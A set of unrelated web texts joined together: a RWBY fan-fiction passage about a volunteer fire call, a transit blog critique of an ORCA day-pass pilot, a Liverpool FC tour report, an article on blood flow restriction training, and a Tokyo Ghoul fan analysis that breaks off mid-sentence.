calmed me down." "Awww," Ruby replied. "Thank you, Blake." "I remember when I took it," Weiss said. "I was just 14 and I had been in the fire company for 2 years by that point. Those were some fun times. I still have my gear from when I first started. Unfortunately, it doesn't fit anymore since puberty and boobs happened, but I still keep it around as a memento to those days." Yang laughed and said, "I'm sorry I'm laughing, it's just that part about puberty is both so weird coming out of your mouth, and I cannot imagine someone with a concave chest size." Weiss laughed and said, "Oh shut up, Yang! Like any girl at 12 had a noticeable chest size. I have pride in my size or whatever I guess. I just don't give it much thought." "Wanna see a picture of me at 12, Weiss?" Yang then took out her phone. "Here's me at Signal when I was 12. I had my hair in a ponytail back then because who the fuck cares. My chest size was B at the time. I was early, developing at 9 and getting a period just 2 months after I turned 11. I say my biological mom, Raven, was to blame, considering her chest size is F. Summer on the other hand was a C, explaining Ruby's growth or lack thereof compared to me." "That... Is actually true..." Ruby was stunned. "I think you're right! I remember going through some of Mom's old clothes and finding some old bras while we were clearing out an attic at Dad's house." Weiss was stunned. "Did you have any back pain?!" "Oh hell yeah. Since I was DD by the time I was 15, I had back pain until the rest of my body caught up. The back issues stopped around the time I was 18." Yang then stretched. Blake pointed at her chest and said, "It's odd how we suddenly began talking about these lumps of fat like there's no tomorrow. I think it says something about us." "That we're very talkative?" Ruby asked Blake. "No, that we're all a bunch of perverts." She then slowly held up Ninjas of Love 3. "And we're not at all ashamed of it." Yang burst into laughter and said, "I love how Blake just confirmed that by holding up that book." Ruby and Weiss also laughed hysterically. Weiss and Ruby then jokingly high-fived and said together, "Flat chests unite!" They were then interrupted by their pagers all ringing, followed by several more tones. "Vale City Fire Alarm on the air for Box 245 for 158 Exeter Street for a Box Alarm for Vigilant Fire 5, Goodwill Engine 6, Excellence Fire 7, and Enterprise Steamer 10. Caller reported that their family is trapped in a burning apartment on the 3rd floor. It's gonna be Apartment 3 Dash 7. Repeating, Vale City Fire Alarm on the air for Box 245 for 158 Exeter Street for a Box Alarm for Vigilant Fire 5, Goodwill Engine 6, Excellence Fire 7, and Enterprise Steamer 10. Time is 1756 hours, Alarm Operator 94." The girls then all ran out of the apartment and down the stairs to the first floor. As they left the building, they saw the ambulance pull out from the Vigilant fire station. They ran like hell down the street to the station alongside several other volunteers as Car 5 sped past them. As the girls got their gear on, Ren ran into the station as well. Within 3 minutes, Lieutenant Alfred Schnee hopped aboard the now-full Truck 201 and radioed, "Truck 201 to Fire Alarm, we're responding with 10, 6 interior." At the same time, Car 5 and Ambulance 201 were reporting smoke showing from the 3rd floor as well as multiple witnesses from the building telling them of the fire, upgrading the fire to a Code 99. Iomhair Rolfe, driving the truck said, "We got a working one, fellas!" -Last week, in response to Martin’s questions about tunnel operations, Metro staff slipped in this quiet bombshell: Metro continues to take actions to expand ORCA use throughout the system and reduce cash payments. [This includes…] working with our regional transit partners to implement a regional ORCA day-pass demonstration beginning in April. A multi-agency ORCA-based day-pass is probably the most requested fare product in the Puget Sound region, and for good reason. Today, interagency transfers are free with ORCA but (mostly) not with cash fare. An ORCA-based day-pass, if priced right, holds out the concurrent possibilities of improved comprehensibility for visitors, and good value for residents who plan to make several trips in a day. For people like me, who want buses to not suck, it’s another weapon in the war against time-consuming on-board cash payment, and easily-abused paper transfers. The devil, however, is in the details, which Metro staff supplied to us last week. As you saw, the ORCA agency partners are planning a six-month pilot/demo of a regional day pass later this year, hopefully beginning sometime this spring. The day pass demonstration will target visitors using hotels and convention centers. But, because the regional day pass will be available at all our current sales outlets, anyone could load the product on their card. At the conclusion of the demo, the ORCA partners will assess how well the card was received and determine the future of the program depending on what we learn. Q: What agencies will or could be included? A: All ORCA agencies except WSF Q: How much will it cost? A: $9 sales price, $4 per trip value. Riders would use E-purse to supplement higher fares based on how much they plan to travel. Q: What modes and fare zones will it cover? A: Good for any trip up to the $4 per trip value. Q: Is it a daily cap or a fare product you have to buy? A: It is a pass product loaded on the card. Once tapped it is valid for that service day. Service days is 3 a.m. – 2:59 a.m. Q: Will it be issued on a disposable ORCA or just added to the existing $5 ORCA? A: Existing card. We do not have disposable card stock in the system Discussion after the jump. So, there are a couple of good things here, and I’ll start with those: The pass is mode-neutral and almost agency-neutral. Transit is about getting people places. The type of vehicle, and the agency logos on it, are important to passengers primarily as way-finding, not as a fundamental part of the service, as much as agencies might like to think otherwise. It’s great to see that in this case, most Puget Sound agencies are putting the passenger experience first, providing simplicity and comprehensibility rather than more arcane rules. Transit is about getting people places. The type of vehicle, and the agency logos on it, are important to passengers primarily as way-finding, not as a fundamental part of the service, as much as agencies might like to think otherwise. It’s great to see that in this case, most Puget Sound agencies are putting the passenger experience first, providing simplicity and comprehensibility rather than more arcane rules. Agencies have (or will have) hashed out revenue-sharing and technical issues. Getting severely-cash-constrained agencies to agree on revenue-sharing from a single fare is genuinely challenging negotiating problem, as carving up a passenger’s regional fare is inherently a zero-sum game. Getting an agreement in this case could set a political and bureaucratic precedent for future day passes with different fare caps and prices. More generally, we’ll have a public proof-of-concept, making it clear in the political discourse that this is technically doable. Here are the problems I see: The day-fare cost is uncompetitive for most local riders, compared to using an existing ORCA card. Off-peak Metro fare is $2.25, peak is up to $3; the highest ST express fare is $3.50. Most other local bus services will be less than Metro. ORCA already provides a two-hour transfer window, and paper transfers are often cut much more generously. You have to ride a lot of transit trips, spaced out through the day, to add up to more than $9. Local riders will already be quite familiar with paying as they normally do, and if it doesn’t make financial sense, they won’t use day-passes, even if they were ubiquitously available. As they will require going out of the way, to a Metro sale partner, I suspect few locals will find them attractive. Off-peak Metro fare is $2.25, peak is up to $3; the highest ST express fare is $3.50. Most other local bus services will be less than Metro. ORCA already provides a two-hour transfer window, and paper transfers are often cut much more generously. You have to ride a lot of transit trips, spaced out through the day, to add up to more than $9. Local riders will already be quite familiar with paying as they normally do, and if it doesn’t make financial sense, they won’t use day-passes, even if they were ubiquitously available. As they will require going out of the way, to a Metro sale partner, I suspect few locals will find them attractive. The card+fare cost is uncompetitive for weekend or convention visitors. $14 in a day, or $23 in a weekend, is significantly more than anyone is likely to spend on transit in the Seattle area just paying as they go. Visitors are perhaps less price sensitive and more hassle sensitive, but I suspect they’re also less likely to attempt all-day multi-hop trips around the city and region, which would be the only way to get close to $14. In groups, the numbers look even worse: for three people, $20 apiece would get you out and back to most outlying neighborhoods of interest to tourists in a cab, with far less hassle and time than Metro. People who intend to much spend time beyond the city, in the suburbs, are probably going to rent a car, because off-peak transit just isn’t much good outside of Seattle. $14 in a day, or $23 in a weekend, is significantly more than anyone is likely to spend on transit in the Seattle area just paying as they go. Visitors are perhaps less price sensitive and more hassle sensitive, but I suspect they’re also less likely to attempt all-day multi-hop trips around the city and region, which would be the only way to get close to $14. In groups, the numbers look even worse: for three people, $20 apiece would get you out and back to most outlying neighborhoods of interest to tourists in a cab, with far less hassle and time than Metro. People who intend to much spend time beyond the city, in the suburbs, are probably going to rent a car, because off-peak transit just isn’t much good outside of Seattle. There’s no disposable-ORCA option, which would be useful regardless of the price premium. If there were a $9, pre-loaded, disposable ORCA day-pass card available, plenty of people, myself included, would keep a stash of them around the house, for use by visitors and or in case I lost my own card. It would be worth the premium, above and beyond the pay-as-you-go price, to be able to give someone a card that worked on any land-based transit in the region, and whose loss did not mean the loss of a $5 permanent card. This would be a genuinely useful service I would pay for, which cannot be emulated today by other means. If there were a $9, pre-loaded, disposable ORCA day-pass card available, plenty of people, myself included, would keep a stash of them around the house, for use by visitors and or in case I lost my own card. It would be worth the premium, above and beyond the pay-as-you-go price, to be able to give someone a card that worked on any land-based transit in the region, and whose loss did not mean the loss of a $5 permanent card. This would be a genuinely useful service I would pay for, which cannot be emulated today by other means. The $4 fare cap seems arbitrary. The most expensive regular bus service in the region is two-county ST Express at $3.50, while the Water Taxi is $3.50 (West Seattle) or $4.25 (Vashon) and Sounder runs on a scale up to $5.75 (Lakewood). If the purpose is to cover any possible fare in the region, $4 doesn’t work. The only people who would lose out on a reduction of the fare cap from $4 to $3.50 would be a minute number of Sounder South day-pass riders; and if a reduction in the fare cap allowed the pass to drop in price, it would make the pass far more attractive. I hope this trial goes smoothly, and meets whatever bar for success the project leaders have in mind. I’m not convinced, though, that the price and features of this day-pass have been thought out particularly well, and I fear it may underwhelm when presented to the public. -Liverpool FC training session at Rajamangala National Stadium before their first match of the 2015 Pre Season Tour in Bangkok against Thailand All Stars Liverpool FC training session at Rajamangala National Stadium before their first match of the 2015 Pre Season Tour in Bangkok against Thailand All Stars Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email The Liverpool squad were put through their paces in the searing heat of Bangkok as they prepare for Tuesday’s opening tour friendly against the Thai All Stars. Brendan Rodgers led the evening training session at the Rajamangala Stadium in front of around 1,000 supporters with the temperature around 32 degrees and 65% humidity. Rodgers was assisted by backroom duo Sean O’Driscoll and Pep Lijnders with new first team coach Gary McAllister not yet on the tour. McAllister, whose appointment was only officially confirmed on Saturday, will link up with the squad in Brisbane on Wednesday or Thursday. Watch: James Pearce reports from Bangkok Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now Despite the pitch cutting up badly, all the players came through unscathed. Rodgers is expected to use most of his squad in the opening friendly with no-one expected to play more than 45 minutes as the Reds build up fitness levels. “We had a great time in Thailand last time and it’s been a good start to this trip,” Rodgers said. “Two years ago our visit here provided us with a wonderful foundation for a good league campaign and we hope it will be similar this time. We’re expecting a tough game.” Midfielder Lucas Leiva added: “It’s been a long trip but we’re really looking forward to the game tomorrow. “We want to get some speed into our game and give the fans a good game. “With the weather it will be hard for us as it’s difficult to play here but it will benefit us going forward.” Rodgers: There's been no rift with Raheem Sterling -Blood flow restriction work makes you stronger than heavy training alone and is easy to recover from. Read up on the science of BFR and how to implement it. What you’re getting yourself into 3,900 words, 13-26 minute read time Key Points Blood flow restriction (BFR) training involves cutting off venous blood flow out of a limb, but still allowing arterial blood flow into a limb, resulting in the best pump of your life. Because of the massive pump you get from BFR training, people assume it’s the bee’s knees for hypertrophy. However, thus far, it doesn’t seem to cause any more growth than conventional, heavy training. The biggest benefit of BFR training actually seems to be notable increases in strength when it’s added to heavy training. It causes a high degree of muscle activation (rivaling heavy lifting) and causes virtually no muscle damage, making it essentially “free” volume to help you get stronger without compromising recovery. There are a few more cool benefits, including enhancing recovery from training, and reducing atrophy when you’re injured. Blood flow restriction (BFR) training, or occlusion training, is something that’s met with mixed reactions. Some people are fully aboard the BFR bandwagon, and others think it’s just a gimmick. To this point, the available evidence suggests that BFR training is quite effective as an adjuvant to conventional, heavy training … just not for the reasons most people think. So first off, what is BFR training? Essentially, you use a knee wrap or an elastic band to cut off venous blood flow in your arms or legs. The blood pressure in your veins (which remove blood from the limb) is substantially lower than the blood pressure in your arteries (which bring blood to the limb), so you apply the wrap tight enough to keep blood from leaving the limb, while still allowing blood to enter the limb. Most of the original studies used a special cuff to occlude venous blood flow, but using knee wraps or an elastic band works just as well. From a scale of 0 (meaning no pressure at all) to 10 (meaning the pressure you’d expect form a tourniquet before getting a limb amputated), the pressure on your arms should feel like a 7, and the pressure on your legs should feel like an 8 or 9. Apply the wrap or band as close to the top of the limb as possible – very close to the groin if occluding venous blood flow from the legs, and very close to the arm pit if occluding venous blood flow from the arms. Use a light load. It should be a weight you can get for 30-40 reps when you’re fresh (~20-30% of your 1rm is what’s used most often in the research). Pump out as many reps as you can, rest for about 30 seconds, and pump out some more reps. 3-4 sets with short rest, totaling 60-100 reps is what’s done most often in the literature. In some of the studies, the wraps are removed between sets, and in some, they’re left on between sets (bro-tip: it’s much more convenient to just leave them on between sets and admire all of your bulging blood vessels). While you’re pumping out all of these reps, a ton of blood is driven into the limb, and very little of it can leave. The result: the best pump you’ve ever experienced. When people try it for the first time, they assume that it must be god’s gift to hypertrophy training. That’s what most people use it for – to get jacked. However, it has other uses that go far beyond hypertrophy and, arguably, hypertrophy isn’t even the biggest benefit you can get from BFR. But, before we get into the effects of BFR training, let’s backtrack a bit, and take a look at why and how it works. The Mechanisms of BFR Training There are six major mechanistic reasons why BFR training works for building muscle and strength. Metabolic Stress. Identified as one of the three primary mechanisms of muscle hypertrophy (along with muscular tension and muscle damage), metabolic stress signals muscles to grow. Constant BFR (leaving the wraps on between sets) works better that intermittent BFR (taking the wraps off between sets) for this purpose. Intermittent BFR leads to greater metabolic stress than regular low-load training, and constant BFR leads to similar levels of metabolic stress as training at 65% of your 1rm without BFR – equal metabolic stress with much lower loads. Motor Unit Recruitment (one, two, three). Regular low-load training potentially doesn’t recruit as many motor units as heavier training, even when training to failure. I say “potentially” because you assess motor unit recruitment via EMG, and it’s very possible that as the first motor units recruited start to fatigue, they “drop out,” so that the EMG readings at failure would be lower than they would have been when training with heavier loads (which wouldn’t give motor units enough time to fatigue and “drop out”), even if motor unit recruitment throughout the entirety of the set was identical (more on that here). Regardless, research shows that motor unit recruitment is substantially higher with low-load BFR training (specifically constant BFR) than with low-load training without BFR, and that motor unit recruitment is similar for low-load BFR training and heavier, conventional training without BFR. This, as we’ll see later, is probably the biggest benefit of BFR training. Cellular Swelling. Similar to metabolic stress, cell swelling has been identified as a mechanism that can cause hypertrophy. Muscle thickness increases roughly 11.5-12% directly after a BFR workout, due to the increased fluid in the muscle, indicating (to use a scientific term) a buttload of cellular swelling. Modulating Hypertrophy Signalling Pathways and Gene Expression (one, two, three). Key signaling pathways (like the mTOR pathway) and genes (like the myostatin gene) are affected to a greater degree by low-load BFR training than low-load training without BFR. BFR training and heavier, conventional training affect them similarly, increasing protein synthesis and decreasing myostatin to similar degrees. There’s also some data suggesting BFR increases the activity of heat shock proteins which may decrease catabolic signaling, but as far as I know, that’s only been observed in one rodent study thus far. Satellite cell proliferation and myonuclear addition. If you remember from a previous article (I’m overhauling this one in the future because there are some things about it I’m not too pleased with as-is, but the mechanistic stuff about satellite cells and myonuclei is solid), addition of new myonuclei is an absolutely essential factor for long-term hypertrophy. Muscles can grow until the muscle fibers hit their myonuclear domain limit without adding more myonuclei, but to continue growing, the addition of new myonuclei from satellite cells is crucial. Low-load BFR training increases the satellite cell pool and causes myonuclear addition much more effectively than low-load training without BFR, and to a similar degree as heavier, conventional training. Growth Hormone Release. It’s not clear whether acute elevations in ostensibly anabolic hormones affect muscle growth in any meaningful way, but the results of this study were eye-catching enough to at least give it a mention. Low-load BFR training to failure caused an increase in growth hormone 290x higher than resting levels, and approximately 4x higher than low-load training to failure without BFR. Mechanisms are cool and all, but what are the effects on strength and hypertrophy? For starters, overall, low-intensity BFR training seems to be about as good for hypertrophy and strength as heavier conventional training. Kreiger found an effect size of .35 for hypertrophy and an effect size of 0.8 for strength from multi-set conventional resistance training in his meta-analysis, and Loenneke found an effect size of .39 for hypertrophy and an effect size of .58 for strength from low-intensity BFR training in his. However, it’s worth pointing out that the overall effect sizes for both hypertrophy and strength are depressed quite a bit in the low-intensity BFR training meta-analysis, since it included studies where the mode of exercise was incline treadmill walking with BFR. When only looking at resistance training studies, the effect size was 1.08 for both strength and hypertrophy (though, obviously, with a smaller sample size). When taking an aerial view, BFR training and conventional training have pretty similar effects. The fact that you get similar hypertrophy from low-load BFR training isn’t overly surprising, in light of the fact that number of hard sets is the main determinant of hypertrophy, but the fact that the strength effects are similar is surprising, since generally training intensity (the percentage of your 1rm you’re training with) is an important determinant of strength gains. More on that a bit later. It’s also worth pointing out that the BFR meta-analysis was just looking at studies that solely utilized BFR training, not BFR in addition to heavier, conventional training. I’m going to assume that most people reading this article are also lifting heavy stuff, and aren’t planning to use low-load BFR training for the entirety of their training plan, with perhaps the exception of when you’re rehabbing an injury. More on that later as well. There are five studies worth digging into that had well-trained subjects and combined BFR training with heavy resistance training. The first is a glorious study, because the muscle being trained was the biceps. That also makes it the least relevant for people primarily concerned with getting strong, but I’m sure that if you look deep down into your soul, you’ll be able to admit to yourself that getting jacked arms is a worthy training goal, and that they are a great compliment to a huge squat or deadlift. The researchers split the subjects – college-aged men, with at least one year of lifting experience – into two groups. One group did curls with BFR for 4 weeks (3 sets of 30 reps with 30% of their 1rm), followed by heavier curls for 4 weeks (3 sets of 15 with 60% of their 1rm). The other group did heavier curls for 4 weeks, followed by curls with BFR for 4 weeks. Both groups gained the same amount of muscle over the 8 weeks of the study. They also gained the same amount of muscle during their BFR phase as their heavier training counterparts did; during the first four weeks, the people doing BFR curls gained as much muscle as the people doing conventional curls, and during the last 4 weeks when they changed training protocols, the people doing BFR curls (who did heavier curls for the first 4 weeks), again, gained the same amount of muscle as the people who did heavier curls (the people who did BFR curls for the first 4 weeks). The next study is from Leubbers (2014). Over the course of 7 weeks of offseason training for Division IAA football, he split the players into four groups: One group just followed the standard high-intensity off-season training program for football. One group did the same high-intensity training program, with additional sets of squat and bench with 20% of their 1rm (1 set of 30 and 2 sets of 20) without BFR. One group did the same high-intensity training program, with additional sets of squat and bench with 20% of their 1rm utilizing BFR. One group basically just did accessory work, along with the light squats and benches with BFR. Over the course of the study, the athletes’ arms and legs got bigger, and their chests didn’t, but there were no significant differences in hypertrophy between the training protocols. When looking at strength, however, the group doing high-intensity training combined with low-intensity BFR had the largest increases in the squat. Their squats increased ~25kg over 7 weeks, vs. ~14kg for the group only doing high intensity training, and the group doing high intensity training plus low-load training without BFR. The group doing high-intensity training combined with low-intensity BFR also had the largest increases on bench, but the difference wasn’t significant (~8.5kg vs. ~7kg for the other two groups doing high intensity training). Also note that these were pretty strong dudes to begin with. The average squat at the start of the study was around 200kg. It’s also interesting to note that it seems like the stimulus from the BFR training is what drove the larger strength increase. My knee-jerk reaction was that the additional training volume was what made the difference, but the group doing the light squats without BFR, in spite of also having significantly higher training volume than the group only doing high-intensity training, gained the same amount of strength over the course of the study. The next study by Yamanaka (2012) is very similar. The researchers split the subjects (Division 1 football players) into two groups. Both groups continued their normal off-season strength training program. In addition to their normal high-intensity training, one group did one set of 30 reps, and 3 sets of 20 reps with 20% of their 1rm squat and bench with BFR, and the other group did the same sets and reps without BFR. The group using BFR gained more strength in the squat and bench press than the group doing the same sets and reps with the same relative load without BFR. In addition, the BFR group’s chest circumferences increased more (~3.1 cm vs. 1.5cm). The next study is by Cook (2013). This study was performed on semi-pro rugby players. They were split into two groups. The first group trained for 3 weeks without BFR, then for 3 weeks with BFR, and the second group followed the opposite pattern. They trained three times per week, doing 5 sets of 5 with 70% of their 1rm for squat, bench press, and pull-ups each day. The cuffs to restrict blood flow were only applied to the legs (even for pull-ups and bench press) and were removed between sets. During their time doing BFR training, the athletes added an average of 5.4kg to their bench, and 7.8kg to their squat. During their time without BFR, the athletes added an average of 3.3kg to their bench, and 4.3kg to their squat. This study was interesting for a couple reasons. For starters, even though the cuffs were only applied to the legs, even during upper body exercises, the BFR group still had a larger increase in bench strength, suggesting that BFR may have systemic effects in addition to the local effects in the muscles with restricted blood flow. Additionally, they were using relatively high loads (70% of their max) – not the low loads typically used in BFR studies. Last but not least, we have one more study to look at. It’s a Masters Thesis by O’halloran (2014). His study also combined high intensity training and low-load BFR training. One group trained exclusively with loads in excess of 70% of their 1rm and no BFR. The other group did 38% of their training with loads in excess of 70% of their 1rm with no BFR, and 62% of their training with 30% of their 1rm and BFR, for one set of 30, and three sets of 15. Training volume (total weight lifted) was roughly equated. Over the course of the study, both groups’ bench press, leg press, biceps cross sectional area, and thigh circumferences increased, with no significant differences between groups. These were already relatively strong guys on the outset as well – they were benching around 220-245lbs, and leg pressing around 800lbs. So, on the whole, we can take a few things away from these five studies that combined conventional high-intensity training and low-load BFR training and pretty well-trained athletes. Low-load BFR training works about as well as heavier training for building muscle (Lowery’s study), though the effects of combining the two may not be additive for hypertrophy. Leubbers’ study showed that adding BFR training to high-intensity training didn’t increase hypertrophy, but Yamanaka’s did. It appears that BFR training doesn’t just affect the muscles with venous blood flow occluded. Both Yamanaka’s study (increased chest growth when the cuffs were applied to the arms) and Cook’s study (larger increases in bench press, even though only leg blood flow was restricted) demonstrated increases in either strength or hypertrophy in muscles other than those below where the cuffs were applied. The most notable effect seems to be an increase in strength. Leubbers’ study showed a larger increase in the squat, Yamanaka’s study showed a larger increase in both squat and bench press, Cook’s study showed a larger increase in both squat and bench press, and O’halloran’s Thesis showed that substituting a sizable chunk of high-intensity training for low-load BFR led to the same increases in strength. The effects on strength are the most surprising. You’d expect (or at least, I’d expect) there to be a bigger difference in hypertrophy, but apparently the mega-pump lies to you. When you think through it, though, it makes sense. Plenty of things make muscle grow; tension, volume, metabolite accumulation, muscle damage, etc. With low-load BFR, tension is lower, metabolite accumulation is high, but not any higher than conventional training for 10+ reps, and there’s very, very little muscle damage that takes place. It gives you a solid growth stimulus, but nothing that you can’t also get from just picking up heavy stuff, and when you add it to a program that revolves around picking up heavy stuff, it doesn’t seem to offer any additional hypertrophy benefits. However, strength is another beast entirely. Strength is partially dependent on structural factors (how much muscle you have), and partially dependent on neural factors (how well you can activate those muscles). Remember, low-load BFR causes roughly the same amount of muscle activation as much heavier, conventional training. BFR training has proven to be pretty disappointing for people with the sole goal of building muscle, since notable increases in muscle growth on top of heavier training haven’t really manifested themselves (with the exception of additional chest growth in Yamanaka’s study). However, low-load BFR training is basically the holy grail for strength athletes, at least as far as accessory work goes. When you add it to heavy training, it makes you stronger than heavy training alone. It’s not just a matter of getting stronger from adding extra training volume because it beats out low-load training without BFR. It’s incredibly easy to recover from since it causes essentially no muscle damage. (note: you may very well get sore the first couple of times you do it, simply due to novelty; this should go away pretty quickly, though) Because it also causes high muscle activation, it also aids in the neural side of strength development. Its effects are very similar to heavy training, and O’halloran even showed that you can replace a hefty amount of heavy training with low-load BFRs and get the same increases in strength. You can almost think of it as “free” volume. You get all the upside of lifting heavy, but it’s way easier to recover from. You can add low-load BFR to your current training program to get stronger, faster without compromising recovery. Or, if you’re having issues with recovery, you can sub out some (not all) of your heavy training for low-load BFR and get the same strength increases without taxing your ability to recover to nearly the same degree. Other Stuff Worth Noting BFR without strength training speeds up recovery from training. One study showed that 2 sets of 3 minutes of BFR for the legs immediately after a training session significantly sped up recovery and enhanced subsequent performance for power-related tests. BFR can also decrease muscle atrophy when you’re injured, and speed up the recovery of strength when you can get back to training. In one study, BFR (multiple sets of 5 minutes of occlusion, without exercise) significantly decreased muscle atrophy of the quads and hamstrings during the post-operative period following ACL reconstruction. In another, low-load BFR training helped people get muscle and strength back faster than training without BFR during the reconditioning phase following ACL reconstruction. Low-load BFR training can be a godsend to people dealing with or recovering from injuries. BFR without training can keep you from losing as much muscle if you’re so jacked up you can’t do anything (of course, consult with a physical therapist first), and low-load BFR training can help you maintain muscle and strength if you have aches and pains you need to train around. If you want to read more about how to progress from totally-jacked-up to picking-up-heavy-stuff-again, I’d strongly recommend this review. Keep in mind, I’m not recommending low-load BFR as the sole focus of your training plan. You should still be picking up heavy stuff (of course, since you’re reading Strengtheory, I doubt I have to tell you that). One study showed that low-load BFR doesn’t affect tendons to the same degree heavy training does. Interestingly, it seems that the additive increase in strength only applies to well-trained athletes. One study on untrained folks found that adding low-intensity BFR training to heavier training didn’t increase strength gains. It could be that untrained people are already getting all the strength benefits they could possibly get just from picking up heavy stuff, but that more well-trained people have that capacity for greater increases in strength that don’t manifest themselves because further increases in heavy training would compromise their ability to recover (since their training is already inherently more stressful). That seems plausible enough to me. People get leery of BFR because cutting off blood flow just seems like it would be dangerous. However, rates of adverse effects are exceptionally low, even in diseased and at-risk populations. You can completely cut off blood flow to a limb for over an hour without any long-term risks, and with BFR training, you’re still allowing arterial blood flow, so you could likely occlude venous blood flow for even longer (though I wouldn’t recommend it). The thinner the device for cutting off venous blood flow, the better off you are. With thicker wraps, you run a greater risk of cutting off arterial blood flow. I generally use the resistance bands you can find in most gyms that some middle-aged women use for biceps curls. I get weird looks when I raid the BodyPump room in the middle of a class, but #yolo. Knee wraps can do the job as well, but bands are a better option if they’re available to you. Bro-tip: BFR work seems to work best, in my experience, when added in for a 4-8 week block, then replaced with more conventional accessory work for the next 4-8 week block. Implementation Pick up heavy stuff as you generally would. You don’t need to really change your program to add low-load BFR since it’s exceptionally easy to recover from. After your heavy sets, do 3-4 sets of 15-40 reps with 20-30% of your max with BFR, resting about 30 seconds between sets. Whether you leave the wraps on between sets or take them off is up to you, but leaving them on seems to be better for muscle activation, and they’re annoying to take off and put back on between sets anyways. This works really well for squat and bench (or you could do leg press and DB press after your squat and bench work, if you prefer). Whether it helps the deadlift or not hasn’t been examined in the literature, and anecdotally, it doesn’t seem to help out your hammies as much as your quads. Though not required, I’d strongly recommend you also bust out a sweet superset or five for your arms. Who cares if science says it won’t make your arms grow any faster than regular curls and triceps extensions? You get the same hypertrophy effect, but you get it by way of stupidly awesome pumps, which is a benefit in and of itself. Alternately, if you’re having issues recovering from your training, you can sub out one or two heavy sets for 2-3 sets of low-load BFR. This is particularly useful for short stints when you know beforehand that recovery will be compromised (if you know you have a deadline coming up that’ll stress you out and decrease how much you can sleep, or something of that sort). If this is a subject that interests you, I’d strongly recommend you check out these three reviews as well (one, two, three). This was a snippet from the Second Edition of the Art and Science of Lifting that I’m working along on right now. If you already have the First Edition, the Second Edition will be free for you when it comes out! • • • Next: The Complete Strength Training Guide → The New Approach to Training Volume → Spread the love Facebook Twitter LinkedIn Reddit Tumblr Email Pocket More Print Pinterest -Touka Kirishima and the Rotting Womb The two biggest pieces of evidence for what is next about to happen to Touka lies in the colored cover art for this chapter of Tokyo Ghoul, and a poem translated by michi here [x] attached to the Yomo, Touka and Ayato birthday art. Starting with the art, the most immediate eye catching area is Touka’s bloodied stomach. Starting with the art, the most immediate eye catching area is Touka’s bloodied stomach. Blood on the stomach is typically a feminine symbol, it does not have to necessarily mean being stabbed through the stomach. It could also mean menustruation and miscarriage, however, what comes to mind with deliberately invoking a symbol of miscarriage on Touka is what miscarriage means in a literal sense “A new life being cut short.” Returning to the top of the image, those are white sakura blossoms with the phrase “Bloom for me, a flower of my own.” Cherry or Sakura blossoms in japanese culture have a lot of meanings, but the most relevant to the situation is this one: Cherry blossoms are a symbolic flower of the spring, a time of renewal, and the fleeting nature of life. Their life is very short. After their beauty peaks around two weeks, the blossoms start to fall. [x] This meaning of a “beautiful life cut short” could possibly apply to Touka if there were upcoming danger to her, or even to her and Kaneki’s relationship if their sudden chance at growth was taken away by Mutsuki’s interference. For example in the film 5 cm per second, cherry blossoms were used to symbolize a promising new relationship cut short. Touka’s even referred to within this same chapter as beautiful, once again. One thing I will note though is that the words: “Bloom for me, a flower of my own” Become foreboding if you realize that flowers in Tokyo Ghoul, and especially flowers blooming have always been a shorthand symbol for blood splatter and tragedy. They were used here: and here: finally here: Finally though, to the poem. The birthday poem written by Ishida is entitled: “ Her womb smelled like it was burnt.” Which goes along nicely with the miscarriage and feminine symbolism already being associated with Touka in this image. A lot of the allusions described in this poem also correspond to events that have been happening recently in canon. To the point where I am now convinced that the narrator of the poem rather than Kaneki, is Touka herself. The children who were meant to be born, died. The vision of the future convulses. Someone declared that they’ll crush only half of the broad bean. The gene is in a severe bipolar state. The nucleic acid sequence having no recollection of its own actions. The children who were meant to be born could be referring to the ghouls from Aogiri. Touka herself is witness not only to ghouls and children being born into this world dying early, even herself being subjected to violence early as a child as CCG officers tried to kill her. Someone declared they will only crush half the broad bean is Kaneki. It’s two of his most famous lines combined together “I’ll only half kill you” and “I’ll pluck the rotted beans.” The gene is in a severe bipolar state is also Kaneki, somebody who switches haphazardly between his ghoul and human sides even though he claims to be a person who can see both humans and ghouls. Bipolar is usually associated is Bipolar Manic Depression the mental illness, but the root of the word means “Two poles” or two opposite ends. The nucleic acid sequence having no recollection of its own actions, that’s Haise. He had the same body as Kaneki, and the same mismatch of DNA, however he could not remember what it was he had done and Touka had to witness him in his memoryless state. All of the fingers that were supposed to be connected from start to end, are scattered around; it’s annoying. If you look closely at the knot, you can see that it can be surprisingly easy to untie. This is referring to Touka’s family itself, even the threadbare remaints of it, Yomo, Ayato and herself she has a difficult time trying to keep them all together. All Touka wants is for the people to love to stay around and love her in return, and she feels also that her family should have stuck around, it should have been simple but actually the ties of family aren’t so binding and they easily unwind, both Ayato and Yomo left her at different points. I was always asked to keep the switch. Go forward. Go back. Stop. I can hear my voice from the mouth. That voice gave me a feeling of discomfort and it had become extremely disgusting but, no one noticed that and everyone was under the impression that it was indeed, my voice. This is the three years of waiting Touka did. ‘Asked to keep the switch’ could refer to Touka having to host Re: and sit back and wait as the rendezvous point for both Ayato and Kaneki to eventually return to while they were allowed to move brashly ahead on their own. Even after they return though, Touka is still asked to hang back and monitor communications rather than allowing her to fight in the field. The result is a Touka who acts much differently from the Touka we know today, and Kaneki even comments as such. The person who could act decisively and boldly for herself, the one who was always moving ahead of him scared him. It sounds a bit different to the Touka we know now in :Re who is acting as an advice dispenser and a passive source of guidance, standing in the place of Yoshimura. The Touka that years of loneliness and abandonment has been conditioned into this current state. Everybody accepts this change in Touka, but does Touka herself accept it? She’s at least still disatisfied with having to hang back, telling both Ayato and Kaneki when they tried to leave her out of critical moments to protect her that they didn’t need to. Sin is irresponsible. I’m getting tired of being forgiven. My shoulders have even forgotten about my legs. I open the door with the side of my arm. The path that I should’ve advanced in is gone and darkness pulled onto the horizon that lay right beneath it. This is another direct reference, when Touka was in the doorway with Yomo, Yomo explained to her that Koma and Irimi needed to die because their sins were unforgivable, but at the same time she countered why were her sins forgiven then? “Come on, come on! Come on, come on!” Go forward. Go back. Stop. I can hear my voice from the bones. “Did you know that our voice is the mixed voices from dad and mom? No wonder it’s so disgusting.” The last part is Touka in reference to her father. Touka’s always had complex feelings about Arata, but lately she has been turning away from him entirely because she sees his decisions as what led to her abandonment. Touka does not want to acknowledge the actions of a man who fought for a mother she barely remembers, a mother who died because of murders she did a long time ago. Despite not choosing to be, she was born a ghoul who carries the sins of those two previous ghouls as well. Touka’s always dealt with self disgust for being born a ghoul, and also her own actions. I pinched my nose and jumped down without a pause. Just like how a child would when jumping into a 